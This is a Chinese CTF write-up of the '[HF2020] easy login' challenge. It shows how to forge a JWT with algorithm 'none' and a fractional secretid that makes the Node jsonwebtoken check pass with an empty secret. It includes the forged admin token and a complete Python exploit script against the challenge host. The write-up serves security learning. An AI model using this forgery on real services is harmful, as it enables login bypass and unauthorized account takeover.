JWT伪造空签名绕过登录【[HF2020]easy login】

0x00 看题目的提示:

 

可以推测出是题目依赖库的问题。测试题目功能,发现:

  1. admin不能注册,怀疑题目和admin有关,题目名字又是easy login,猜测可能是要登录admin。
  2. 注册一个普通用户后登录,可以发现有个输入框和getflag按钮,点击按钮显示permission denied,权限不足。

0x01 查看源码里的/static/js/app.js,发现提示:

由此可得出:

  1. 使用的是koa框架;
  2. koa-static错误配置,直接映射到根目录,所以存在任意文件读取,读取nodejs常见文件app.js,读到如下源码:
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 3000;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

 0x02 审计以上代码,且清楚koa主要目录:

JWT伪造空签名绕过登录【[HF2020]easy login】_第1张图片

0x03 主要逻辑代码在 /controllers/api.js ,关键代码:

  1. /api/register 注册
    'POST /api/register': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || username === 'admin'){   //先判断username不为空或admin
                throw new APIError('register error', 'wrong username');
            }
    
            if(global.secrets.length > 100000) {
                global.secrets = [];  //定义一个全局数组
            }
    
            const secret = crypto.randomBytes(18).toString('hex'); //生成一个secret
            const secretid = global.secrets.length;   //根据数组长度得到一个secretid
            global.secrets.push(secret)    //把secret放进全局数组
    
            const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});  //利用以上信息生成一个JWT令牌
    
            ctx.rest({
                token: token
            });
    
            await next();
  2. 登录  /api/login:
    'POST /api/login': async (ctx, next) => {
            const {username, password} = ctx.request.body;
    
            if(!username || !password) {
                throw new APIError('login error', 'username or password is necessary');
            }
    
            const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;   //
    
            const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;   //从jwt令牌信息中取出secretid
    
            console.log(sid)  
    
            if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
                throw new APIError('login error', 'no such secret id'); //检查sid
            }
    
            const secret = global.secrets[sid];  //从全局数组中取出sid对应的secret
    
            const user = jwt.verify(token, secret, {algorithm: 'HS256'}); //验证
    
            const status = username === user.username && password === user.password;
    
            if(status) {
                ctx.session.username = username; //置session中的username为登录时的username
            }
    
            ctx.rest({
                status
            });
    
            await next();
        }

     

  3.  getflag

    'GET /api/flag': async (ctx, next) => {
            if(ctx.session.username !== 'admin'){ //检查session中的username是否为admin
                throw new APIError('permission error', 'permission denied');
            }
    
            const flag = fs.readFileSync('/flag').toString(); //如果是admin,则可以读取flag
            ctx.rest({
                flag
            });
    
            await next();
        }

    知道逻辑后,思路就很清晰了,注册--》登录为admin--》 获取flag

0x04 接下来思考JWT怎么利用了

此题的利用方式是:将secret置空。利用node的jsonwentoken库已知缺陷:当jwt的secret为空时,jsonwebtoken会采用algorithm为none进行解密。

所以我们得构造一个jwt,将algorithm设为空,将uername设为admin,那么secretid怎么设置才能使secret取出来为空呢?

这里我们还需绕过secretid的一个验证,不能为undefined,不能为null,

但是JavaScript是一门弱语言,所以我们可以将secretid设为一个数组或小数,(数组和数字比较时永远为真,包括空数组)这时候取出来的secret为空,加密算法也按none处理,即可成功绕过jwt验证。

解题过程:

注册一个用户,为了初始化secret数组。它返回了一个token。

JWT伪造空签名绕过登录【[HF2020]easy login】_第2张图片

构造一个JWT:

import jwt   //这里我怕犯了一个错误,我给文件区的名字就叫jwt.py,而jwt模块就叫这个,重名了报错

token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
print(token)

得到token:

 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6MC4xLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJ4eHgiLCJpYXQiOjE1ODcyODczNzB9.

接着登录抓包,把token换成我们构造的,成功返回true,

JWT伪造空签名绕过登录【[HF2020]easy login】_第3张图片

可以看到页面成功登录admin,显示welcome admin,接着getflag抓包,得flag

JWT伪造空签名绕过登录【[HF2020]easy login】_第4张图片

以上操作也可写个脚本,一次跑出来:

import jwt
import requests
base_url = "http://99cdd9e7-5e19-4056-bffa-d35bb463b196.node3.buuoj.cn" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
//print(res.text)
token = jwt.encode({"secretid":0.1,"username": "admin","password": "xxx","iat": 1587287370},algorithm="none",key="").decode(encoding='utf-8')
//print(token)
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "xxx", "authorization":token})
//print(res.text)
res = s.get(base_url+'/api/flag')
print(res.text)

JWT伪造空签名绕过登录【[HF2020]easy login】_第5张图片

注:

jwt伪造还有两种利用方式:

1、secretid是注入点,是通过在数据库中查询找secret的,可进行注入,绕过后可用我们自己设置的secret登录或者注出secret。

2、爆破secret。

你可能感兴趣的:(CTF合集,安全)